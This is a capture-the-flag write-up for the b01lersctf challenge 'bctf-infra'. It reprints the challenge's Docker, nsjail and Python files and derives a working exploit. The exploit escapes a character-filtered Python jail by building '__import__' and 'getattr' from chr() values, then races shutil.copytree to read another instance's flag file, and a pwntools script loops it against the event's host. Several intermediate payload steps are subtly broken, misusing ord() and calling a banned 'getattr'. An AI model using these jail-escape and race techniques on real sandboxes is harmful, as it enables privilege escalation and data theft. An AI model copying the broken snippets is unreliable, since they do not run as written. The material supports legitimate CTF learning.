b01lersctf 2026 - misc/bctf-infra
While playing b01lersctf, I came across this challenge, which I really liked working on.
This challenge is a Python process that can serve three challenges to a user, but you can only obtain the actual flag after "solving" the last one. Since the last is an impossible Pyjail, which would require you to write your entire Python payload with only whitespace characters, solving these challenges cannot be the solution.
I will walk you through the challenge and my thoughts when coming up with a solution.
Setup
Let's take a quick look at what is provided:
❯ tree
.
├── app
│ ├── challenge_server.py
│ ├── chals
│ │ ├── chal1
│ │ │ ├── chal.py
│ │ │ └── flag.txt
│ │ ├── chal2
│ │ │ ├── chal.py
│ │ │ └── flag.txt
│ │ └── chal3
│ │ ├── chal.py
│ │ └── flag.txt
│ └── run.sh
├── Dockerfile
├── entrypoint.sh
└── nsjail.cfgHandout files
FROM python:3.13-slim-trixie@sha256:eefe082c4b73082d83b8e7705ed999bc8a1dae57fe1ea723f907a0fc4b90f088 AS app
RUN apt-get update && \
apt-get install -y netcat-openbsd && \
rm -rf /var/lib/apt/lists/*
FROM debian:trixie-slim AS jail
RUN apt-get -y update && apt-get install -y \
autoconf \
bison \
flex \
gcc \
g++ \
git \
libprotobuf-dev \
libnl-route-3-dev \
libtool \
make \
pkg-config \
protobuf-compiler \
socat \
&& rm -rf /var/lib/apt/lists/*
RUN mkdir /nsjail && cd /nsjail && \
git init && \
git remote add origin https://github.com/google/nsjail && \
git fetch --depth 1 origin bcf9eca73843fccbf48d063709adde3554a1e197 && \
git reset --hard FETCH_HEAD
RUN cd /nsjail && make && mv /nsjail/nsjail /bin && rm -rf -- /nsjail
RUN apt-get update && \
apt-get install -y socat && \
rm -rf /var/lib/apt/lists/*
COPY --from=app / /srv
COPY app /srv/app
COPY nsjail.cfg /nsjail.cfg
COPY entrypoint.sh /entrypoint.sh
RUN echo "ctf:x:1000:1000::/:/bin/sh" >> /srv/etc/passwd && echo "ctf:x:1000:ctf" >> /srv/etc/group
RUN <<EOF
uid=65001
for folder in $(find /srv/app/chals -mindepth 1 -maxdepth 1); do
user="$(basename "$folder")"
groupadd -g "$uid" "$user"
useradd -g "$uid" -u "$uid" "$user"
echo "$user:x:$uid:$uid::/:/bin/sh" >> /srv/etc/passwd
echo "$user:x:$uid:$user" >> /srv/etc/group
chown -R "$user:$user" "$folder"
chmod 700 "$folder"
uid=$((uid+1))
done
EOF
ENTRYPOINT ["/entrypoint.sh"]
CMD ["socat", "TCP-LISTEN:1337,reuseaddr,fork", "EXEC:nsjail --config /nsjail.cfg -- /app/run.sh"]#!/bin/bash
set -e
# Create device nodes in the nsjail chroot
mount -t tmpfs -o nosuid,noexec,relatime tmpfs /srv/dev
old_umask=$(umask)
umask 0
for dev in null zero urandom; do
major=$(stat -c '%t' "/dev/$dev")
minor=$(stat -c '%T' "/dev/$dev")
mknod "/srv/dev/$dev" c "0x$major" "0x$minor"
chmod 666 "/srv/dev/$dev"
done
umask "$old_umask"
mount -o remount,ro,nosuid,noexec,relatime /srv/dev
exec "$@"# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# See options available at https://github.com/google/nsjail/blob/master/config.proto
name: "default-nsjail-configuration"
description: "Default nsjail configuration for pwnable-style CTF task."
mode: ONCE
cap: "CAP_SETUID"
cap: "CAP_SETGID"
uidmap {inside_id: "1000" outside_id: "1000"}
uidmap {inside_id: "65001" outside_id: "65001" count: 10}
gidmap {inside_id: "1000" outside_id: "1000"}
gidmap {inside_id: "65001" outside_id: "65001" count: 10}
rlimit_as: 10
rlimit_as_type: HARD
rlimit_cpu: 3
rlimit_cpu_type: HARD
rlimit_nofile_type: HARD
rlimit_nproc: 10
rlimit_nproc_type: HARD
rlimit_fsize: 10
envar: "TERM=xterm-256color"
envar: "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
time_limit: 600
clone_newnet: true
user_net { }
mount {
src: "/srv"
dst: "/"
is_bind: true
rw: false
}
mount {
dst: "/tmp"
fstype: "tmpfs"
rw: true
is_bind: false
options: "size=33554432" # 32 MiB
}
mount {
src_content: "nameserver 8.8.8.8\n"
dst: "/etc/resolv.conf"
}#!/usr/bin/env python
import grp
import os
import pwd
import shutil
import socket
import subprocess
from multiprocessing import Process
from pathlib import Path
CHAL_FOLDER = Path(__file__).parent / "chals"
CHALLENGES = [
f.name for f in CHAL_FOLDER.iterdir() if f.is_dir() and not f.is_symlink()
]
def run_challenge(challenge: str, socket: socket.socket):
with socket:
uid = pwd.getpwnam(challenge).pw_uid
gid = grp.getgrnam(challenge).gr_gid
os.setgid(gid)
os.setuid(uid)
root = Path("/tmp/" + os.urandom(8).hex())
root.mkdir()
try:
shutil.copytree(CHAL_FOLDER / challenge, root / "app")
subprocess.run(
[root / "app/chal.py"],
cwd=root / "app",
env={
"PATH": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
},
stdin=socket.fileno(),
stdout=socket.fileno(),
stderr=socket.fileno(),
)
finally:
shutil.rmtree(root)
def main():
server = socket.create_server(("0.0.0.0", 1337))
processes: set[Process] = set()
while True:
try:
for process in list(processes):
if not process.is_alive():
process.close()
processes.remove(process)
client, _ = server.accept()
with client:
client.sendall(f"Challenges:\n{'\n'.join(CHALLENGES)}\n> ".encode())
buf = b""
while True:
data = client.recv(1024)
if not data:
break
if b"\n" in data:
buf += data[: data.index(b"\n")]
break
buf += data
if not buf:
client.close()
continue
challenge = buf.strip().decode(errors="strict")
if challenge not in CHALLENGES:
client.sendall(b"Invalid Challenge\n")
client.close()
continue
client.sendall(f"{challenge}:\n".encode())
proc = Process(
target=run_challenge, args=(challenge, client), daemon=True
)
proc.start()
processes.add(proc)
except Exception:
pass
if __name__ == "__main__":
main()#!/bin/sh
set -e
/app/challenge_server.py &
server_pid="$!"
trap 'kill "$server_pid" 2>/dev/null || true' EXIT INT TERM
sleep 0.5
nc 127.0.0.1 1337#!/usr/local/bin/python3
import string
allowed_chars = (string.ascii_lowercase + string.punctuation + string.digits).translate(
str.maketrans("", "", "eo")
)
inp = input("> ")
for c in inp:
if c not in allowed_chars:
print(f"Illegal char {c}")
exit()
exec(inp)#!/usr/local/bin/python3
import string
allowed_chars = string.ascii_lowercase + "._[]; "
inp = input("> ")
for c in inp:
if c not in allowed_chars:
print(f"Illegal char {c}")
exit()
exec(inp)#!/usr/local/bin/python3
import string
allowed_chars = string.whitespace
inp = input("> ")
for c in inp:
if c not in allowed_chars:
print(f"Illegal char {c}")
exit()
exec(inp)- A
Dockerfileto build the container image with an nsjail setup entrypoint.sh: creates some device nodes inside the nsjail chroot (/srv/dev)nsjail.cfg: some config file for nsjail- Within the
appfolder are the actual challenge files:challenge_server.py: the interesting bit I will dive into laterrun.sh: starts thechallenge_server.pyprocess and connects it to ancchals: essentially three Pyjails of "increasing difficulty"; the flags in the first two folders are fake, and the flag inchal3is the actual flag we are after
Playing around with the challenge
I spun up a local instance with the provided Docker Compose project and toyed around with it:
❯ nc localhost 1337
Challenges:
chal1
chal2
chal3
> chal1
chal1:
> print(1 + 1)
Illegal char❯ nc localhost 1337
Challenges:
chal1
chal2
chal3
> chal1
chal1:
> print(1+1)
2❯ nc localhost 1337
Challenges:
chal1
chal2
chal3
> chal2
chal2:
> print(1+1)
Illegal char (❯ nc localhost 1337
Challenges:
chal1
chal2
chal3
> chal3
chal3:
> print(1+1)
Illegal char p❯ nc localhost 1337
Challenges:
chal1
chal2
chal3
> chal4
Invalid Challenge❯ nc localhost 1337
Challenges:
chal1
chal2
chal3
> chal1
chal1:
> import sys
Illegal char oWhat I noticed already
Without further code inspection, I already noticed the kind of weird setup. Each connection to the challenge spawns its own nsjail instance, meaning that multiple connections cannot interfere with each other's challenge files, as they run in separate nsjails. So why connect the challenge-server to an nc instance within that nsjail?
Furthermore, the Dockerfile creates separate users for each challenge and changes the ownership of the challenge folder and its contents to the corresponding challenge user. While nothing is inherently wrong with this, it felt odd and will indeed become important later.
Finally, the nsjail config specifies two mounts: One for a /srv(the challenge files) and one for /tmp, which is marked as rw: true, so let's keep that in mind.
However, none of this addresses the fact that Challenge 3 is impossible and cannot give us the flag. There clearly must be more. After all, everything I've found so far is related to some weird configuration, but no inherent vulnerabilities. So let's look for that.
Inspecting Challenge Code
Eventually, we will have to look at the code, so let's start with the main Python code:
CHAL_FOLDER = Path(__file__).parent / "chals"
CHALLENGES = [
f.name for f in CHAL_FOLDER.iterdir() if f.is_dir() and not f.is_symlink()
]
def main():
server = socket.create_server(("0.0.0.0", 1337))
processes: set[Process] = set()
while True:
try:
for process in list(processes):
if not process.is_alive():
process.close()
processes.remove(process)
client, _ = server.accept()
with client:
client.sendall(f"Challenges:\n{'\n'.join(CHALLENGES)}\n> ".encode())
buf = ... # Some logic to read the user's choice from the socket
challenge = buf.strip().decode(errors="strict")
if challenge not in CHALLENGES:
client.sendall(b"Invalid Challenge\n")
client.close()
continue
client.sendall(f"{challenge}:\n".encode())
proc = Process(
target=run_challenge, args=(challenge, client), daemon=True
)
proc.start()
processes.add(proc)
except Exception:
passUpon start-up, the server will read all folders in the chals directory and treat those directories as challenges. The main function then starts a server and maintains a list of processes. When a user connects to the server, a new socket is opened to handle the connection. The user can choose which challenge to play, as long as it is a valid one, i.e., chal1, chal2, or chal3. If the user chose a valid challenge, the server will create a new process and pass the challenge and the socket.
While the symlink check looks weird, challenges are resolved during "start-up" time, as long as we do not find a way to restart the server, we will not be able to inject a new "challenge".
So far, so good. Let's look at the run_challenge function:
def run_challenge(challenge: str, socket: socket.socket):
with socket:
uid = pwd.getpwnam(challenge).pw_uid
gid = grp.getgrnam(challenge).gr_gid
os.setgid(gid)
os.setuid(uid)
root = Path("/tmp/" + os.urandom(8).hex())
root.mkdir()
try:
shutil.copytree(CHAL_FOLDER / challenge, root / "app")
subprocess.run(
[root / "app/chal.py"],
cwd=root / "app",
env={
"PATH": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
},
stdin=socket.fileno(),
stdout=socket.fileno(),
stderr=socket.fileno(),
)
finally:
shutil.rmtree(root)First, the process will resolve the selected challenge's user and group id and drop to that user. After that, it will create a random folder in /tmp/ and copy the file tree from the challenge folder to the tmp folder, effectively creating an instance private to that process. The process will then run the actual challenge and afterward remove the local copy of the challenge.
Since we dropped to the challenge user, we can only access the flag for the current challenge, not for others.
Brainstorming Ideas
With a basic understanding of the challenge, I brainstormed some ideas. Here's a quick summary:
Inject a new challenge
Idea
If I create a new challenge called root, the run_challenge process would effectively not drop any privileges via setgid and setuid, and we could read the flag from chal3.
Well, this sounds nice, but it does not work since the /srv/app/chals folder, where the original copies of the challenges reside, is root-owned, so I would not be able to create any directories here from any of the challenge processes. Furthermore, I would need to find a way to kill the server process.
Too many problems we cannot work around 🫠.
Escape chal1 to read the flag
Idea
The Pyjail from the first challenge seemed to be the least restrictive, so if we can execute arbitrary code here, we could find a way to read the flag.
We are getting there, but still have to "work around the permissions". The chal1 user, with which we are executing our Python code, is not authorized to open the flag file that the chal3 user owns.
So, we cannot read the flag from the original directory (/srv/app/chals), but what about the /tmp/ folder where the challenge server creates the instances? In theory, that is world-readable. The challenge server uses shutil.copytree to copy the files from the app directory to /tmp/. Unfortunately the Python docs specify that it also copies permissions:
Recursively copy an entire directory tree rooted at src to a directory named dst and return the destination directory. All intermediate directories needed to contain dst will also be created by default.
Permissions and times of directories are copied with copystat(), individual files are copied using copy2().
But, how exactly does it copy all of that?
Inspecting the Python source:
shutil.py
def copytree(src, dst, symlinks=False, ignore=None, copy_function=copy2,
ignore_dangling_symlinks=False, dirs_exist_ok=False):
"""Recursively copy a directory tree and return the destination directory.
If exception(s) occur, an Error is raised with a list of reasons.
If the optional symlinks flag is true, symbolic links in the
source tree result in symbolic links in the destination tree; if
it is false, the contents of the files pointed to by symbolic
links are copied. If the file pointed to by the symlink doesn't
exist, an exception will be added in the list of errors raised in
an Error exception at the end of the copy process.
You can set the optional ignore_dangling_symlinks flag to true if you
want to silence this exception. Notice that this has no effect on
platforms that don't support os.symlink.
The optional ignore argument is a callable. If given, it
is called with the `src` parameter, which is the directory
being visited by copytree(), and `names` which is the list of
`src` contents, as returned by os.listdir():
callable(src, names) -> ignored_names
Since copytree() is called recursively, the callable will be
called once for each directory that is copied. It returns a
list of names relative to the `src` directory that should
not be copied.
The optional copy_function argument is a callable that will be used
to copy each file. It will be called with the source path and the
destination path as arguments. By default, copy2() is used, but any
function that supports the same signature (like copy()) can be used.
If dirs_exist_ok is false (the default) and `dst` already exists, a
`FileExistsError` is raised. If `dirs_exist_ok` is true, the copying
operation will continue if it encounters existing directories, and files
within the `dst` tree will be overwritten by corresponding files from the
`src` tree.
"""
sys.audit("shutil.copytree", src, dst)
with os.scandir(src) as itr:
entries = list(itr)
return _copytree(entries=entries, src=src, dst=dst, symlinks=symlinks,
ignore=ignore, copy_function=copy_function,
ignore_dangling_symlinks=ignore_dangling_symlinks,
dirs_exist_ok=dirs_exist_ok)def _copytree(entries, src, dst, symlinks, ignore, copy_function,
ignore_dangling_symlinks, dirs_exist_ok=False):
if ignore is not None:
ignored_names = ignore(os.fspath(src), [x.name for x in entries])
else:
ignored_names = ()
os.makedirs(dst, exist_ok=dirs_exist_ok)
errors = []
use_srcentry = copy_function is copy2 or copy_function is copy
for srcentry in entries:
if srcentry.name in ignored_names:
continue
srcname = os.path.join(src, srcentry.name)
dstname = os.path.join(dst, srcentry.name)
srcobj = srcentry if use_srcentry else srcname
try:
is_symlink = srcentry.is_symlink()
if is_symlink and os.name == 'nt':
# Special check for directory junctions, which appear as
# symlinks but we want to recurse.
lstat = srcentry.stat(follow_symlinks=False)
if lstat.st_reparse_tag == stat.IO_REPARSE_TAG_MOUNT_POINT:
is_symlink = False
if is_symlink:
linkto = os.readlink(srcname)
if symlinks:
# We can't just leave it to `copy_function` because legacy
# code with a custom `copy_function` may rely on copytree
# doing the right thing.
os.symlink(linkto, dstname)
copystat(srcobj, dstname, follow_symlinks=not symlinks)
else:
# ignore dangling symlink if the flag is on
if not os.path.exists(linkto) and ignore_dangling_symlinks:
continue
# otherwise let the copy occur. copy2 will raise an error
if srcentry.is_dir():
copytree(srcobj, dstname, symlinks, ignore,
copy_function, ignore_dangling_symlinks,
dirs_exist_ok)
else:
copy_function(srcobj, dstname)
elif srcentry.is_dir():
copytree(srcobj, dstname, symlinks, ignore, copy_function,
ignore_dangling_symlinks, dirs_exist_ok)
else:
# Will raise a SpecialFileError for unsupported file types
copy_function(srcobj, dstname)
# catch the Error from the recursive copytree so that we can
# continue with other files
except Error as err:
errors.extend(err.args[0])
except OSError as why:
errors.append((srcname, dstname, str(why)))
try:
copystat(src, dst)
except OSError as why:
# Copying file access times may fail on Windows
if getattr(why, 'winerror', None) is None:
errors.append((src, dst, str(why)))
if errors:
raise Error(errors)
return dstThe function will iterate over all entries in the current directory, copy the files, and then recurse into all subdirectories. Only after everything is copied will the permissions be applied 👀.
This means we can probably exploit the race condition between when files are copied and when their permissions are applied.
Race shutil.copytree
Idea
We can race shutil.copytree, copying files vs. applying the correct permissions; i.e., there is a small time window when chal3/flag.txt is readable.
Conceptually, this makes sense, but how do we execute our code in chal1 and get an instance of chal3 to leak the flag? Each connection gets its own jail, preventing processes from modifying each other's files.
Well, technically yes, but remember the weird "challenge-server connects to nc" setup? Within the Pyjail, we can create a socket and connect to localhost:1337, which will connect to the same challenge-server instance.
Writing the exploit
We now have all the building steps we need to get the flag. Let's piece it together.
What we want to execute
Before we attempt to "escape" the Pyjail, let's write down what we want to execute:
import socket
from pathlib import Path
from time import sleep
path = Path("/tmp")
skt = socket.socket()
skt.connect(("127.0.0.1", 1337))
skt.recv(1024) # challenge selection
skt.sendall(b"chal3\n")
sleep(0.0025) # trigger the race more reliably
print((p / "app/flag.txt").read_text() for p in path.iterdir())We create a socket to start an instance of chal3. As long as we don't send a newline afterward, the challenge will "stay open". Then we use a sleep to get the right time window until the files are copied over. Finally, we can read flag.txt if we won the race.
This looks nice, but we will not be able to send the code as-is to the challenge server. The Pyjail does not allow for a lot of characters we use.
Bypassing the Pyjail
Looking at the code for chal.py, we find a couple of restrictions:
#!/usr/local/bin/python3
import string
allowed_chars = (string.ascii_lowercase + string.punctuation + string.digits).translate(
str.maketrans("", "", "eo")
)
inp = input("> ")
for c in inp:
if c not in allowed_chars:
print(f"Illegal char {c}")
exit()
exec(inp)input()only reads one line, so no newlines- the alphabet reduces to
abcdfghijklmnpqrstuvwxyz!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~0123456789- most notably no upper-case characters and no
e,oor whitespace characters.
- most notably no upper-case characters and no
Let's address these one by one:
We can work around the newlines by joining our statements with a ;. This squeezes all our code into a single line:
import socket; from pathlib import Path; from time import sleep; path = Path("/tmp"); skt = socket.socket(); skt.connect(("127.0.0.1", 1337)); skt.recv(1024); skt.sendall(b"chal3\n"); sleep(0.0025);print((p / "app/flag.txt").read_text() for p in path.iterdir())For the writeup, let's revert that and apply this trick last.
No "e" and "o" make it trickier, though. First of all, this means no import. The seasoned-pyjail expert will know that there are a dozen ways to get some reference to the import function, e.g., via subclasses, open, etc. But most of them use either an "o" or an "e".
My solution was to get the __import__ handle from builtins: __builtins__.dict["__import__"]. While this uses an "o", we can easily circumvent that as the "o" is used within a string and we can use chr to "decode" the ascii value into the character: __builtins__["__imp" + chr(111) + "rt__"]. For readability, I will defer the ord step to the end.
Now, this gives us the next problem: How do we get the Path or sleep function? We would need to encode the "P"or "e", but then, we cannot do __import__("pathlib").Path. The same goes for invoking functions like socket.connect or path.read_text, they all contain bad characters. Luckily, getattr comes to the rescue as we can call getattr(time, "sleep")(1). But you might rightfully ask: getattr also has an "e", so how do we use that? Essentially, with the same trick we used before: We can get a getattrhandle via __builtins__.dict["getattr"] and encode the "e" in the string.
Finally, no whitespace means that (p / "app/flag.txt").read_text() for p in path.iterdir() does not work as we need whitespaces for the list comprehension. That's an easy fix, though, as we can replace that with (path.iterdir()[0]/"app/flag.txt").read_text(), which we can encode.
Take a look at the following step-by-step bypass to see how I derived my final payload.
Step-by-step bypass
import socket
from pathlib import Path
from time import sleep
path = Path("/tmp")
skt = socket.socket()
skt.connect(("127.0.0.1", 1337))
skt.recv(1024)
skt.sendall(b"chal3\n")
sleep(0.0025)
print((p / "app/flag.txt").read_text() for p in path.iterdir())imp = __builtins__["__import__"]
path = imp("pathlib").Path("/tmp")
skt = imp("socket").socket()
skt.connect(("127.0.0.1", 1337))
skt.recv(1024)
skt.sendall(b"chal3\n")
imp("time").sleep(0.0025)
print((p / "app/flag.txt").read_text() for p in path.iterdir())imp = __builtins__["__import__"]
gtattr = __builtins__["getattr"]
path = getattr(imp("pathlib"), "Path")("/tmp")
skt = gtattr(imp("socket"), "socket")()
gtattr(skt, "connect")(("127.0.0.1", 1337))
gtattr(skt, "recv")(1024)
gtattr(skt, "sendall")(b"chal3" + gtattr("\n", "encode")())
gtattr(imp("time"), "sleep")(0.0025)
print(gtattr((p / "app/flag.txt"), "read_text")() for p in gtattr(path, "iterdir")())imp = __builtins__["__imp" + ord(111) +"rt__"]
gtattr = __builtins__["g" + ord(101) + "tattr"]
path = getattr(imp("pathlib"), ord(80) + "ath")("/tmp")
skt = gtattr(imp("s" + chr(111) + "ck" + chr(101) + "t"), "s" + chr(111) + "ck" + chr(101) + "t")()
gtattr(skt, "c" + chr(111) + "nn" + chr(101) + "ct")(("127.0.0.1", 1337))
gtattr(skt, "r" + chr(101) + "cv")(1024)
gtattr(skt, "s" + chr(101) + "ndall")(b"chal3" + gtattr(chr(10), chr(101) + "nc" + chr(111) + "d" + chr(101))())
gtattr(imp("tim" + chr(101)), "sl" + ord(101) * 2 + "p")(0.0025)
print(gtattr(list(gtattr(d, "it" + chr(101) + "rdir")())[0] / "app/flag.txt", "r" + chr(101) + "ad_t" + chr(101) + "xt")())imp=__builtins__["__imp" + ord(111) +"rt__"];gtattr=__builtins__["g" + ord(101) + "tattr"];path=getattr(imp("pathlib"), ord(80)+"ath")("/tmp");skt=gtattr(imp("s"+chr(111)+"ck"+chr(101)+"t"),"s"+chr(111)+"ck"+chr(101)+"t")();gtattr(skt,"c"+chr(111)+"nn"+chr(101)+"ct")(("127.0.0.1", 1337));gtattr(skt,"r"+chr(101)+"cv")(1024);gtattr(skt,"s"+chr(101)+"ndall")(b"chal3"+gtattr(chr(10),chr(101)+"nc"+chr(111)+"d"+chr(101))());gtattr(imp("tim"+chr(101)),"sl"+ord(101)*2+"p")(0.0025);print(gtattr(list(gtattr(d,"it"+chr(101)+"rdir")())[0]/"app/flag.txt","r"+chr(101)+"ad_t"+chr(101)+"xt")())Final Exploit
While we could try to enter the final payload manually, don't forget that we are trying to exploit a race condition. We may need to try a couple of times, so putting everything into a script is generally a good idea.
Here you can see my exploit:
from pwn import *
CODE = ";".join(
{
'a = __builtins__.__dict__["g" + chr(101) + "tattr"]': "<built-in function getattr>",
'b = __builtins__.__dict__["__imp" + chr(111) + "rt__"]': "<built-in function __import__>",
'd = a(b("pathlib"), chr(80) + "ath")("/tmp")': 'Path("/tmp")',
'f = a(b("tim" + chr(101)), "sl" + chr(101) * 2 + "p")': "time.sleep",
'c = a(b("s" + chr(111) + "ck" + chr(101) + "t"), "s" + chr(111) + "ck" + chr(101) + "t")()': "socket.socket()",
'a(c, "c" + chr(111) + "nn" + chr(101) + "ct")(("127.0.0.1", 1337))': 'socket.connect(("127.0.0.1", 1337))',
'a(c, "r" + chr(101) + "cv")(1024)': "socket.recv(1024)",
'a(c, "s" + chr(101) + "ndall")(b"chal3" + a(chr(10), chr(101) + "nc" + chr(111) + "d" + chr(101))())': 'socket.sendall(b"chal3\n")',
"f(0.0025)": "sleep(0.0025)" if args.REMOTE else "f(0.0015)",
'print(list(a(d, "it" + chr(101) + "rdir")()))': "print(list(p.iterdir()))",
'print(a(list(a(d, "it" + chr(101) + "rdir")())[0] / "app/flag.txt", "r" + chr(101) + "ad_t" + chr(101) + "xt")())': "print(list(p.iterdir()))",
}.keys()
).replace(" ", "")
def main(io: remote) -> str:
_ = io.recvuntil(b"> ")
io.sendline(b"chal1")
_ = io.recvuntil(b"> ")
io.sendline(CODE.encode())
_paths = io.recvline().decode()
flag = io.recvline().decode()
return flag
if __name__ == "__main__":
flag = ""
while "bctf" not in flag:
if args.REMOTE:
with remote("bctf-infra.opus4-7.b01le.rs", 8443, ssl=True) as io:
flag = main(io)
else:
with remote("localhost", 1337) as io:
flag = main(io)
print(flag)If we run it against the remote, it may take a couple of tries, but will eventually get the flag:
❯ uv run main.py REMOTE
[*] You have the latest version of Pwntools (4.15.0)
[+] Opening connection to bctf-infra.opus4-7.b01le.rs on port 8443: Done
[*] Closed connection to bctf-infra.opus4-7.b01le.rs port 8443
[+] Opening connection to bctf-infra.opus4-7.b01le.rs on port 8443: Done
[*] Closed connection to bctf-infra.opus4-7.b01le.rs port 8443
[+] Opening connection to bctf-infra.opus4-7.b01le.rs on port 8443: Done
[*] Closed connection to bctf-infra.opus4-7.b01le.rs port 8443
[+] Opening connection to bctf-infra.opus4-7.b01le.rs on port 8443: Done
[*] Closed connection to bctf-infra.opus4-7.b01le.rs port 8443
[+] Opening connection to bctf-infra.opus4-7.b01le.rs on port 8443: Done
[*] Closed connection to bctf-infra.opus4-7.b01le.rs port 8443
[+] Opening connection to bctf-infra.opus4-7.b01le.rs on port 8443: Done
[*] Closed connection to bctf-infra.opus4-7.b01le.rs port 8443
[+] Opening connection to bctf-infra.opus4-7.b01le.rs on port 8443: Done
[*] Closed connection to bctf-infra.opus4-7.b01le.rs port 8443
[+] Opening connection to bctf-infra.opus4-7.b01le.rs on port 8443: Done
[*] Closed connection to bctf-infra.opus4-7.b01le.rs port 8443
[+] Opening connection to bctf-infra.opus4-7.b01le.rs on port 8443: Done
[*] Closed connection to bctf-infra.opus4-7.b01le.rs port 8443
[+] Opening connection to bctf-infra.opus4-7.b01le.rs on port 8443: Done
[*] Closed connection to bctf-infra.opus4-7.b01le.rs port 8443
[+] Opening connection to bctf-infra.opus4-7.b01le.rs on port 8443: Done
[*] Closed connection to bctf-infra.opus4-7.b01le.rs port 8443
[+] Opening connection to bctf-infra.opus4-7.b01le.rs on port 8443: Done
[*] Closed connection to bctf-infra.opus4-7.b01le.rs port 8443
[+] Opening connection to bctf-infra.opus4-7.b01le.rs on port 8443: Done
[*] Closed connection to bctf-infra.opus4-7.b01le.rs port 8443
[+] Opening connection to bctf-infra.opus4-7.b01le.rs on port 8443: Done
[*] Closed connection to bctf-infra.opus4-7.b01le.rs port 8443
bctf{perfect_infrastructure_tm_f6634b38}Final Words
As I said in the beginning, this was a really fun challenge to work on. Finding the race condition in shutil.copytree took me longer than I'd like to admit, but it is a nice idea.